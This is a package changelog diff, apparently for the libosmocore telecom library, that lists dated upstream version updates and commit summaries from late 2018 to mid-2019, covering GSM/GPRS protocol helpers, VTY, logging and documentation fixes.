+Tue May 21 20:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.21:
+ * lapdm_rslms_recvmsg: Fix memory leak in error path
+
+-------------------------------------------------------------------
+Sun May 19 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.20:
+ * TLV: Add one-shot TLV encoder
+ * Cosmetic: GSUP: fix too long comment line
+ * Deprecate usage of osmo_counter_*
+ * pseudotalloc: turn talloc_steal() into #define
+
+-------------------------------------------------------------------
+Sat May 18 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.16:
+ * Revert "Change GSM48_PDISC_* to enum type"
+ * Change GSM48_PDISC_* to enum type
+
+-------------------------------------------------------------------
+Wed May 15 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.14:
+ * codec/ecu: Add a bit of precision about the actual frame format used
+ * gsm_23_003: add GSM23003_MSISDN_{MIN,MAX}_DIGITS
+
+-------------------------------------------------------------------
+Mon May 13 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.12:
+ * gsm0808: Introduce Osmocom extensions to announce Osmux support
+
+-------------------------------------------------------------------
+Sun May 12 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.11:
+ * NS: log address:port on error
+ * osmo_sock_get_name_*: Ensure string is returned in error case
+
+-------------------------------------------------------------------
+Fri May 10 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.9:
+ * Revert "Print error message if application fails to call rate_ctr_init()"
+ * gsm0808_utils: Introduce gsm0808_msgb_put_cell_id_u()
+ * Print error message if application fails to call rate_ctr_init()
+ * Fix osmo_quote_str_c() for strings larger than 32 bytes
+ * Add MO-FALLBACK-VALUE SGsAP IE
+
+-------------------------------------------------------------------
+Thu May 09 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.4:
+ * fix typo in FSM description
+ * Add expect script: 'vty' for easy access to all vtys
+ * deal with rate_ctr_group_alloc() returning NULL
+
+-------------------------------------------------------------------
+Wed May 08 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.1:
+ * Add VTY and CTRL port numbers for OsmoCBC (Cell Broadcast Centre)
+
+-------------------------------------------------------------------
+Tue May 07 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.0:
+ * Bump version: 1.0.1.143-cc72c → 1.1.0
+ * add osmo_stat_item_inc/osmo_stat_item_dec to set it relative
+
+-------------------------------------------------------------------
+Mon May 06 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.142:
+ * Re-introduce declaration of gsm0808_create_handover_request_ack()
+
+-------------------------------------------------------------------
+Sun May 05 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.141:
+ * add gsm0808_create_handover_request_ack2 to add AoIP RTP addr
+ * osmo_gsup_decode(): properly check IMSI, avoid deprecation
+ * gsm48_decode_bcd_number2(): allow avoiding deprecation
+ * gsm48_decode_bcd_number2(): fix input len check
+ * add comment to gsm_mncc_bearer_cap.speech_ver
+ * add vty_is_active()
+ * add osmo_bssap_tlv_parse2() for multiple identical T
+ * add gsm48_decode_bcd_number2() from osmo-msc
+ * BSSMAP: add messages for inter-BSC and inter-MSC Handover
+
+-------------------------------------------------------------------
+Thu May 02 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.132:
+ * gsm/gsm_utils.h: fix argument type of gsm_chan_t_name()
+
+-------------------------------------------------------------------
+Wed May 01 20:00:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.131:
+ * BSSMAP: tweaks
+ * GSUP: add inter-MSC handover related msgs and IEs
+
+-------------------------------------------------------------------
+Thu Apr 25 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.129:
+ * bitcomp.c: fix missing Doxygen group closing tag
+ * application.c: drop wrong \references of osmo_init_ignore_signals()
+
+-------------------------------------------------------------------
+Sun Apr 14 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.127:
+ * GSUP: add Message Class IE
+ * add OSMO_IMSI_BUF_SIZE
+ * gsm/gsm_utils.c: indicate intentional fall-through
+
+-------------------------------------------------------------------
+Fri Apr 12 20:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.124:
+ * gb/gprs_ns_sns.c: fix incorrect sizeof() calculation
+ * Fix incorrect buffer size calculation
+ * add identifier sanitation for setting FSM instance ids
+ * add osmo_{escape,quote}_str_buf2() for standard args ordering
+ * tweak OSMO_STRBUF_APPEND(), add OSMO_STRBUF_APPEND_NOLEN()
+
+-------------------------------------------------------------------
+Thu Apr 11 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.119:
+ * add osmo_str_startswith()
+ * make osmo_sockaddr_str_is_set() NULL-safe
+ * fsm_dealloc_test: no need for ST_DESTROYING
+ * fsm: support graceful osmo_fsm_inst_term() cascades
+ * fsm: add flag to ensure osmo_fsm_inst_term() happens only once
+ * add fsm_dealloc_test.c
+ * gsm_utils.c: fix Doxygen description for gsm_get_octet_len()
+ * vty/talloc_ctx_vty.c: use REG_NOSUB flag of regcomp()
+ * vty/talloc_ctx_vty.c: allocate walk_cb_params on stack, not heap
+ * Add _c versions of functions that otherwise return static buffers
+
+-------------------------------------------------------------------
+Wed Apr 10 20:00:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.109:
+ * gsm_03_40.h: define max SM-TP-UDL (User-Data-Length) values
+
+-------------------------------------------------------------------
+Mon Apr 08 20:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.108:
+ * add osmo_use_count API
+ * add osmo_sockaddr_str API
+ * gsm_utils: fix use buf_len instead of sizeof in osmo_dump_gsmtime_buf
+ * Add _buf() functions to bypass static string buffers
+
+-------------------------------------------------------------------
+Fri Mar 29 21:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.104:
+ * osmo_escape_str_buf: Always copy, don't return input string pointer
+
+-------------------------------------------------------------------
+Thu Mar 28 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.103:
+ * ipa: Fix ipa_ccm_id_resp_parse on big endian systems
+ * ipa: Document ipa_ccm_idtag_parse_off and fix ipa_ccm_idtag_parse
+ * src/gsmtap_util.c: fix possible memleak in gsmtap_source_init()
+ * BSSGP: use variable for NSEI
+
+-------------------------------------------------------------------
+Wed Mar 27 21:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.99:
+ * logging_gsmtap.c: document all params of log_target_create_gsmtap()
+ * Doxygen: fix documentation of osmo_timer_setup()
+ * src/rate_ctr.c: drop some incorrect \ref references
+ * Doxygen: fix documentation of rate_ctr_for_each_counter()
+ * core/msgb.h: fix incorrect Doxygen parameter description
+ * src/msgb.c: fix Doxygen documentation for msgb_printf()
+ * core/msgb.h: drop meaningless parameter of msgb_eq_* helpers
+ * core/msgb.h: fix dead msgb2 reference in msgb_eq_* helpers
+ * src/logging.c: fix syntax errors in Doxygen documentation
+ * core/linuxlist.h: fix white-space and inconsistent alignment
+ * core/linuxlist.h: fix and unify Doxygen documentation
+ * gsm_utils.h: remove unused include of gsm_08_08.h
+
+-------------------------------------------------------------------
+Mon Mar 25 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.87:
+ * Revert "ipa_ccm_idtag_parse*: Fix reported length value"
+ * Doxygen: fix incorrect / missing parameter description
+
+-------------------------------------------------------------------
+Fri Mar 22 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.85:
+ * Revert "signal.c: Make non-exported tall_sigh_ctx static"
+
+-------------------------------------------------------------------
+Thu Mar 21 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.84:
+ * signal.c: Make non-exported tall_sigh_ctx static
+ * signal.c: Fix osmo_signal_talloc_ctx_init()
+ * select: Rename BSC_FD_* constants to OSMO_FD_*
+ * src/signal.c: cosmetic: use talloc_zero()
+
+-------------------------------------------------------------------
+Wed Mar 20 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.80:
+ * gprs_ns_sns: Properly initialize sockaddr_in in gprs_nsvc_create_ip4()
+
+-------------------------------------------------------------------
+Tue Mar 19 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.79:
+ * socket: osmo_sock_get_name() Use "const void *" as talloc context
+ * vty/tdef_vty.c: drop redundant comparison
+ * ipa_ccm_idtag_parse*: Fix reported length value
+ * rate_ctr_group_free(): guard against empty or NULL input
+ * tests: use -no-install libtool flag to avoid ./lt-* scripts
+
+-------------------------------------------------------------------
+Sun Mar 17 21:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.74:
+ * gprs_ns_sns: Use "correct" remote IP address for local IP endpoint
+ * gprs_ns: Don't use initial IP/port for anything but SNS
+
+-------------------------------------------------------------------
+Sat Mar 16 21:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.72:
+ * gprs_ns.c: Update comment: IP SNS has recently been implemented
+
+-------------------------------------------------------------------
+Thu Mar 14 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.71:
+ * osmo_gsm48_classmark_a5_name(): fix 'no-cm3' label
+
+-------------------------------------------------------------------
+Tue Mar 12 21:00:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.70:
+ * Fix build on non-glibc systems
+
+-------------------------------------------------------------------
+Mon Mar 11 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.69:
+ * gsm0808_utils: fix gsm48 multirate to S-bit converter
+ * gsm0808_utils: fix gsm48 multirate configuration generator
+
+-------------------------------------------------------------------
+Fri Mar 08 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.67:
+ * add gsm0808_cell_id_from_cgi(), gsm0808_cell_id_to_cgi()
+ * fsm: add osmo_fsm_inst_state_chg_keep_or_start_timer()
+ * fix tdef_test.c: do call the function-to-test in all cases
+ * tdef_test: tweak output to prepare for a fix
+
+-------------------------------------------------------------------
+Wed Mar 06 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.63:
+ * represent negative T-timers as Osmocom-specific X-timers
+ * api doc: tweak gsm0808_cell_id_matches_list() doc
+
+-------------------------------------------------------------------
+Tue Mar 05 21:00:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.61:
+ * coding: check gsm0503_rach_*() results
+
+-------------------------------------------------------------------
+Wed Feb 27 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.60:
+ * fix api doc typo for osmo_plmn_name2()
+
+-------------------------------------------------------------------
+Tue Feb 26 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.59:
+ * log: fsm: allow logging the timeout on state change
+ * NS: Add support for GPRS NS IP Sub-Network-Service (SNS)
+ * NS: Factor out gprs_nsvc_start_test() and use it
+ * gprs_ns: Add code for SNS-SIZE and SNS-CONFIG encoding
+ * enlarge gsm0808 msgb headroom
+ * LCLS: add string dump helpers
+ * GPRS: Doxygen documentation for 'struct libgb_msgb_cb'
+ * NS: Add missing NS Cause strings
+ * NS: Don't print information about FR/GRE if not enabled!
+
+-------------------------------------------------------------------
+Sat Feb 23 21:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.50:
+ * Add multipatch capability to osmo-config-merge
+ * select: Call log_reset_context() before calling file descriptor callbacks
+
+-------------------------------------------------------------------
+Wed Feb 20 21:22:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.48:
+ * gprs_ns: Add missing NSVCI IE to NS-BLOCK-ACK message
+ * gprs_ns: Declare gprs_ns_tx_alive*() in header file
+ * gprs_ns.c: cosmetic whitespace fixes
+ * gprs_ns: Use gprs_ns_tx_alive() instead of gprs_ns_tx_simple()
+
+-------------------------------------------------------------------
+Tue Feb 19 21:00:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.44:
+ * bssgp_tx_bvc_unblock(): Fix log message
+ * rsl: Support PDCH in rsl_chan_nr_str
+
+-------------------------------------------------------------------
+Mon Feb 18 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.42:
+ * gsm0808: Add unit tests for test_create_clear_command2()
+ * gsm0808: comment about difference of gsm0808_create_clear_command()
+ * Fix BSSMAP length generated by gsm0808_create_clear_command2()
+
+-------------------------------------------------------------------
+Sun Feb 17 21:00:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.39:
+ * add OSMO_STRBUF_PRINTF()
+ * gsm_08_08.h: Add constants for Channel Type in signalling mode
+
+-------------------------------------------------------------------
+Fri Feb 15 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.37:
+ * fix osmo_gsm48_classmark* libosmogsm.map entries
+ * get_value_string(): guard against NULL
+ * Enable remote SIM protocol log level
+
+-------------------------------------------------------------------
+Fri Feb 08 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.34:
+ * gsm/gsm0480: introduce gsm0480_create_release_complete()
+
+-------------------------------------------------------------------
+Thu Feb 07 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.33:
+ * protocol/gsm_04_14: Fix the OPEN LOOP message type
+
+-------------------------------------------------------------------
+Wed Feb 06 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.32:
+ * platform independence fix: tdef range tests
+
+-------------------------------------------------------------------
+Tue Feb 05 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.31:
+ * gsm0808: Add CSFB indication IE to BSSMAP CLEAR COMMAND
+ * bitvec: Add bitvec_tailroom_bits() function
+ * bitvec: Add bitvec_bytes_used() function
+ * gsm_08_08.h: Add IEI definitions from Release 15
+ * Extend gsm_04_08.h with CSFB related definitiosn form 44.018 Rel 15
+
+-------------------------------------------------------------------
+Mon Feb 04 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.26:
+ * add osmo_tdef API, originally adopted from osmo-bsc T_def
+ * doxygen: allow manual 'make apidoc' even if --disable-doxygen
+ * doxygen: add source files as dependencies
+ * doxygen: enable cross referencing everywhere
+ * vty api: add vty_out_va()
+ * vty telnet: consistently never change nodes upon CTRL-C
+ * vty: enable tab-completion for optional-multi-choice args
+ * vty: enable optional-multi-choice syntax: [(one|two)]
+ * vty: enable optional-multi-choice syntax: ([one]|[two])
+ * add generic vty_transcript_test.c, vty_transcript_test.vty
+ * socket.h: add missing include
+ * GSUP: deprecate osmo_gsup_get_err_msg_type()
+
+-------------------------------------------------------------------
+Sat Feb 02 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.14:
+ * osmo_fsm_inst_state_chg(): clamp timeout_secs to <= ~68 years
+
+-------------------------------------------------------------------
+Thu Jan 31 21:00:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.13:
+ * osmo_fsm_inst_state_chg(): set T also for zero timeout
+
+-------------------------------------------------------------------
+Tue Jan 29 21:00:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.12:
+ * jenkins distcheck: enable external tests
+ * build: add missing logging_vty_test.vty to EXTRA_DIST
+ * osmo_fsm_state_name: make robust against NULL fi
+ * add osmo_classmark_* API
+ * add osmo_hexdump_buf() and test
+ * gsm0808: add BSSMAP Cell Identifier matching API
+
+-------------------------------------------------------------------
+Tue Jan 22 20:33:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.6:
+ * Work around bogus gcc-8.2 array-bounds warning/error
+ * constrain gsm48_generate_mid() output array bounds
+ * gsm0408_test: Fix IMEI-SV related tests to use no more than 16 digits
+
+-------------------------------------------------------------------
+Mon Jan 21 20:50:50 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.1.3:
+ * Bump version: 1.0.0 → 1.0.1
+ * gsm_23_003.h: add GSM23003_IMEI_NUM_DIGITS_NO_CHK
+
+-------------------------------------------------------------------
+Mon Jan 21 15:39:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.1:
+ * Rename msgb_wrap_with_TL()
+
+-------------------------------------------------------------------
+Sun Jan 20 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.0:
+ * Bump version: 0.12.0.128-8dfde → 1.0.0
+ * Prevent GCR encoder/decoder functions from being used directly
+ * LCLS: make GCR into static member of osmo_lcls
+ * LCLS: add status parameter to Assignment Completed message
+
+-------------------------------------------------------------------
+Fri Jan 18 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.200:
+ * gsm29118: fix coverity issues
+ * socket: add define for socket name length
+
+-------------------------------------------------------------------
+Tue Jan 15 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.198:
+ * LCLS: add GCR comparison helper
+ * LCLS: expand enc/dec tests
+ * comments: update/fix three 3GPP spec references
+
+-------------------------------------------------------------------
+Mon Jan 14 21:00:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.195:
+ * change GSM48_CMSERV_* to enum type, add names
+ * gsm23003: add osmo_imei_str_valid()
+
+-------------------------------------------------------------------
+Sat Jan 12 21:00:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.193:
+ * port rest octets encoding code from osmo-bsc
+ * port arfcn range encode support from osmo-bsc
+
+-------------------------------------------------------------------
+Wed Jan 09 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.191:
+ * LCLS: use proper types for value_string wrappers
+ * Cosmetic: GSUP: note "on wire" for imei_result
+ * msgb: fix debug print
+
+-------------------------------------------------------------------
+Tue Jan 08 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.188:
+ * add osmo_lu_type_names[], osmo_lu_type_name()
+ * add osmo_mi_name(), for MI-to-string like "IMSI-123456"
+
+-------------------------------------------------------------------
+Mon Jan 07 21:00:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.186:
+ * LCLS: fix LCLS-CONNECT-CONTROL encoder
+ * Automatically disable GnuTLS fallback
+ * Streamline glibc version check
+
+-------------------------------------------------------------------
+Sat Jan 05 21:01:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.183:
+ * tests/gsup_test.c: drop session IEs from MO-ForwardSM Error
+
+-------------------------------------------------------------------
+Fri Jan 04 21:00:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.182:
+ * fix typo in enum BSS_MAP_MSG_TYPE: BSS_MAP_MSG_ASSIGMENT*
+ * osmo_rat_type: add OSMO_RAT_EUTRAN_SGS
+ * gsm_utils: add enum osmo_rat_type, from osmo-msc enum ran_type
+
+-------------------------------------------------------------------
+Thu Jan 03 21:00:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.12.0.179:
+ * add LOGPFSMSL(), LOGPFSMSLSRC()
+ * LOGPFSM*: guard against fi == NULL
+ * add API doc for LOGPFSM* macros
+
+-------------------------------------------------------------------
+Sat Dec 29 21:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.176:
+ * logging/gsmtap: fix buffer overflow in _gsmtap_raw_output()
+
+-------------------------------------------------------------------
+Sun Dec 23 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.175:
+ * LCLS: enc/dec entire parameter set instead of GCR
+ * define LOGPFSM fmt only once, in LOGPFSMLSRC
+ * Fix VTY documentation error introduced in "bind" VTY port change
+ * vty: Make TCP port configurable and introduce telnet_init_default
+ * vty: The telnet interface is TCP only. Fix the comments
+
+-------------------------------------------------------------------
+Fri Dec 21 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.170:
+ * tests/gsm0808: use new msgb comparison API
+ * GSUP: add CHECK-IMEI message
+ * GSUP: add end marker to enum osmo_gsup_iei
+ * GSUP: fix missing osmo_gsup_get_err_msg_type()s
+
+-------------------------------------------------------------------
+Thu Dec 20 21:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.166:
+ * TLV: add convenience function for 1-byte values
+ * TLV: fix doc copy-paste error
+ * Use define for key buffers
+
+-------------------------------------------------------------------
+Wed Dec 19 21:00:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.163:
+ * rename CELL_IDENT_LAI_AND_LAC to CELL_IDENT_LAI
+ * add/clean big-endian packed structs (struct_endianess.py)
+ * LCLC: fix doc to match type signature
+ * Fix typos in SS opcode names
+ * add to osmo_sock_get_name*() API
+
+-------------------------------------------------------------------
+Tue Dec 18 21:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.158:
+ * GSUP/SMS: introduce READY-FOR-SM message
+ * GSUP/SMS: introduce MO-/MT-FORWARD-SM messages
+
+-------------------------------------------------------------------
+Fri Dec 14 21:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.156:
+ * LCLS: add gsm0808_create_ass2()
+ * LCLS, TS 48.008: add GCR IE encoding/decoding
+ * LCLS, TS 29.205: add GCR routines
+ * gsm0480: fix copy-pasted note for gsm0480_gen_return_error()
+
+-------------------------------------------------------------------
+Thu Dec 13 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.152:
+ * stats.h: Fix build on MacOS
+
+-------------------------------------------------------------------
+Wed Dec 12 21:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.151:
+ * msgb: add test helpers
+
+-------------------------------------------------------------------
+Tue Dec 11 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.150:
+ * fix api doc for osmo_bcd2str()
+
+-------------------------------------------------------------------
+Mon Dec 10 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.149:
+ * gsm48_mi_to_string(): do not read from zero length input buffer
+ * gsm48_mi_to_string(): guard against zero length output buffer
+ * gsm48_generate_mid(): mask out ODD flag from mi_type
+ * gsm48_mi_to_string: use osmo_bcd2str(), fix some corner cases
+ * add osmo_bcd2str()
+ * Constify llist_count() parameter
+ * api doc: gsm48_mi_to_string(): warn of return value implementation
+ * gsm0408_test: test encoding and decoding Mobile Identity
+ * timer: Fix clockid_t undefined on MacOS < 10.12
+
+-------------------------------------------------------------------
+Sat Dec 08 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.140:
+ * gsm0808: add encoder for cause codes and use it
+
+-------------------------------------------------------------------
+Fri Dec 07 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.139:
+ * gsm29118: add generator functions for GSM29118 messages
+ * gsm_29_118.h: Add constant for default port
+ * cosmetic apn: correct whitespace error
+ * Add osmo_sockaddr_in_to_str_and_uint()
+
+-------------------------------------------------------------------
+Thu Dec 06 21:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.135:
+ * Allow log_init() with NULL log_info
+
+-------------------------------------------------------------------
+Wed Dec 05 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.134:
+ * gsm_29_118: add missing extern for struct value_string decl.
+
+-------------------------------------------------------------------
+Tue Dec 04 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.133:
+ * LCLS: update osmo_lcls struct
+ * Add msgb_tl_put() helper
+ * ctrl: use #define for TRAP id
+
+-------------------------------------------------------------------
+Mon Dec 03 21:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.130:
+ * Update msgb Lx helpers
+ * gsm0808: add message generator for BSSMAP HANDOVER PERFORMED
+ * configure.ac: check clock_gettime for glib < 2.17
+
+-------------------------------------------------------------------
+Fri Nov 30 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.127:
+ * Move BSSMAP_MSG_* defines to header file
+
+-------------------------------------------------------------------
+Mon Nov 26 18:54:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.126:
+ * ctrl: print textual error on IPA parsing failure
+
+-------------------------------------------------------------------
+Thu Nov 22 18:56:55 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.125:
+ * add contrib/struct_endianess.py
+ * Update gsm0808_create_ass() doxygen
+
+-------------------------------------------------------------------
+Tue Nov 20 19:09:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.123:
+ * gsm: Deprecate buggy gsm_arfcn2band API and introduce gsm_arfcn2band_rc
+ * LCLS: add 48.008 parameter structure
+ * document unblock-ack vs. signalling in gprs_ns_process_msg()
+ * send NS_POUT_UNBLOCK_ACK before signalling S_NS_UNBLOCK
+
+-------------------------------------------------------------------
+Mon Nov 19 18:30:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.119:
+ * gsm_44_318.h: remove #if 0 from struct gan_cch_desc_ie
+ * Add missing header include
+ * Support cipher mode reject with extended cause
+ * Move msgb_push helpers to public header
+
+-------------------------------------------------------------------
+Sun Nov 18 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.115:
+ * gsm48: gsm48_decode_freq_list: Improve documentation of paramter f
+ * Update GSM0808_LCLS enums
+ * Update 3GPP TS 08.08 Cause handling
+ * Add helper wrapper for BSSAP TLV parsing
+
+-------------------------------------------------------------------
+Fri Nov 16 21:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.111:
+ * fsm: fix apidoc of osmo_fsm_state_name()
+ * gsm29118: add value strings for SGSAP IEI
+
+-------------------------------------------------------------------
+Thu Nov 15 14:29:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.109:
+ * gsm/protocol/gsm_08_58.h: Fix typo
+
+-------------------------------------------------------------------
+Thu Nov 15 14:07:58 UTC 2018 - mardnh@gmx.de
+
+- remove patch:
+ * fix-big-endian.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Tue Nov 13 21:00:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.108:
+ * merge_doc.xsl: move to osmo-gsm-manuals.git
+
+-------------------------------------------------------------------
+Wed Nov 07 21:00:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.107:
+ * gsm_29_118: add missing include to header file
+ * socket.c: fix IP and port buffer sizes
+ * jenkins: print gcc version in log
+ * core/msgb.h: introduce msgb_l4len() helper
+
+-------------------------------------------------------------------
+Tue Nov 06 21:00:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.103:
+ * Fix deprecation warning in gsm0808_test
+ * gsm/gsup.h: cosmetic: use tab for comment alignment
+
+-------------------------------------------------------------------
+Sat Nov 03 21:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.101:
+ * gsm48: correct apidoc for gsm48_generate_mid()
+ * Update cipher reject function
+
+-------------------------------------------------------------------
+Tue Oct 30 21:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.99:
+ * gsm0808: cosmetic: rename parameter "reason" to "cause"
+ * gsm0808: fix doxygen apidoc
+ * make 'show rate-counters' show group index
+
+-------------------------------------------------------------------
+Mon Oct 29 21:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.96:
+ * stop printing group description in vty_out_rate_ctr_group_fmt()
+
+-------------------------------------------------------------------
+Sun Oct 28 21:00:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.95:
+ * gsm23003: Add MME domain name related helper functions
+
+-------------------------------------------------------------------
+Sat Oct 27 20:00:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.94:
+ * add osmo_sock_get_{local,remote}_ip{,_port}()
+
+-------------------------------------------------------------------
+Thu Oct 25 20:00:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.93:
+ * cosmetic: fix typo (soocket -> socket)
+
+-------------------------------------------------------------------
+Wed Oct 24 20:00:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.92:
+ * stats_statsd: Send all stat_items as gauges
+ * vty: adjust telnet log
+
+-------------------------------------------------------------------
+Sun Oct 21 17:22:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.90:
+ * libosmogsm/gsup.c: fix error code in osmo_gsup_encode()
+ * SGsAP protocol definitions (header + C file)
+ * gsm_08_58.h: Introduce struct abis_rsl_chan_nr
+ * vty.c: Set vty->fd to -1 after closing the FD
+ * telnet_interface: avoid double-close of fd()
+ * timerfd_create(): Fix error handling of osmo_fd_register()
+ * osmo-config-merge: fclose() what we fopen()
+
+-------------------------------------------------------------------
+Wed Oct 17 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.83:
+ * gsm0808: allow decoding of zero length speech codec lists.
+
+-------------------------------------------------------------------
+Mon Oct 15 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.82:
+ * add support for ipaccess messages on the ctrl interface
+
+-------------------------------------------------------------------
+Thu Oct 11 20:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.81:
+ * gsm_08_58.h: Introduce struct abis_rsl_link_id
+
+-------------------------------------------------------------------
+Wed Oct 10 20:00:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.80:
+ * fix error handling gprs_ns_nsip_listen()
+
+-------------------------------------------------------------------
+Mon Oct 08 20:00:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.12.0.79:
+ * GSMTAP: fix typos in comments
+ * GSMTAP: add definitions for LTE NAS subtypes
+ * GSMTAP: add definitions for new LTE RRC channels
+
